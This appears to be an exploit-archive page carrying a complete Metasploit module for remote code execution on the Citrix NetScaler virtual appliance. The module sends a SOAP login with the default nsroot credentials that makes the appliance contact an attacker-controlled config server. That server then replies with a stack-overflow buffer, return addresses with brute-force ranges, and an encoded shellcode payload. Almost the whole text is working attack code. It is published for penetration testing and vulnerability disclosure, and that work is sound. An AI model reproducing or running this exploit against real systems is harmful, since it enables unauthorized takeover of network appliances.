Citrix NetScaler SOAP Handler Remote Code Execution

2014.11.07
Credit: Juan vazquez
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::TcpServer include Msf::Exploit::Brute def initialize(info={}) super(update_info(info, 'Name' => "Citrix NetScaler SOAP Handler Remote Code Execution", 'Description' => %q{ This module exploits a memory corruption vulnerability on the Citrix NetScaler Appliance. The vulnerability exists in the SOAP handler, accessible through the web interface. A malicious SOAP requests can force the handler to connect to a malicious NetScaler config server. This malicious config server can send a specially crafted response in order to trigger a memory corruption and overwrite data in the stack, to finally execute arbitrary code with the privileges of the web server running the SOAP handler. This module has been tested successfully on the NetScaler Virtual Appliance 450010. }, 'License' => MSF_LICENSE, 'Author' => [ 'Bradley Austin', # Vulnerability Discovery and PoC 'juan vazquez' # Metasploit module ], 'References' => [ ['URL', 'http://console-cowboys.blogspot.com/2014/09/scaling-netscaler.html'] ], 'Payload' => { 'Space' => 1024, 'MinNops' => 512, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'Arch' => ARCH_X86, 'Platform' => 'bsd', 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'NetScaler Virtual Appliance 450010', { 'RwPtr' => 0x80b9000, # apache2 rw address / Since this target is a virtual appliance, has sense. 'Offset' => 606, 'Ret' => 0xffffda94, # Try before bruteforce... # The virtual appliance lacks of security mitigations like DEP/ASLR, since the # process being exploited is an apache child, the bruteforce attack works fine # here. 'Bruteforce' => { 'Start' => { 'Ret' => 0xffffec00 }, # bottom of the stack 'Stop' => { 'Ret' => 0xfffdf000 }, # top of the stack 'Step' => 256 } } ], ], 'DisclosureDate' => "Sep 22 2014", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the soap handler', '/soap']), OptAddress.new('SRVHOST', [true, "The local host to listen on. This must be an address on the local machine reachable by the target", ]), OptPort.new('SRVPORT', [true, "The local port to listen on.", 3010]) ], self.class) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) if res && res.code == 200 && res.body && res.body =~ /Server Request Handler.*No body received/m return Exploit::CheckCode::Detected end Exploit::CheckCode::Unknown end def exploit if ['0.0.0.0', '127.0.0.1'].include?(datastore['SRVHOST']) fail_with(Failure::BadConfig, 'Bad SRVHOST, use an address on the local machine reachable by the target') end if check != Exploit::CheckCode::Detected fail_with(Failure::NoTarget, "#{peer} - SOAP endpoint not found") end start_service if target.ret @curr_ret = target.ret send_request_soap Rex.sleep(3) if session_created? return end end super end def brute_exploit(addrs) @curr_ret = addrs['Ret'] send_request_soap end def send_request_soap soap = <<-EOS <?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns7744:login xmlns:ns7744="urn:NSConfig"> <username xsi:type="xsd:string">nsroot</username> <password xsi:type="xsd:string">nsroot</password> <clientip xsi:type="xsd:string">#{datastore['SRVHOST']}</clientip> <cookieTimeout xsi:type="xsd:int">1800</cookieTimeout> <ns xsi:type="xsd:string">#{datastore['SRVHOST']}</ns> </ns7744:login> </SOAP-ENV:Body> </SOAP-ENV:Envelope> EOS print_status("#{peer} - Sending soap request...") send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'data' => soap }, 1) end def on_client_data(c) print_status("#{c.peerhost} - Getting request...") data = c.get_once(2) req_length = data.unpack("v")[0] req_data = c.get_once(req_length - 2) unless req_data.unpack("V")[0] == 0xa5a50000 print_error("#{c.peerhost} - Incorrect request... sending payload anyway") end print_status("#{c.peerhost} - Sending #{payload.encoded.length} bytes payload with ret 0x#{@curr_ret.to_s(16)}...") my_payload = Rex::Text.pattern_create(target['Offset']) my_payload << [@curr_ret, target['RwPtr']].pack("V*") my_payload << payload.encoded pkt = [my_payload.length + 6].pack("v") pkt << "\x00\x00\xa5\xa5" pkt << my_payload c.put(pkt) c.disconnect end end

References:

http://console-cowboys.blogspot.com/2014/09/scaling-netscaler.html


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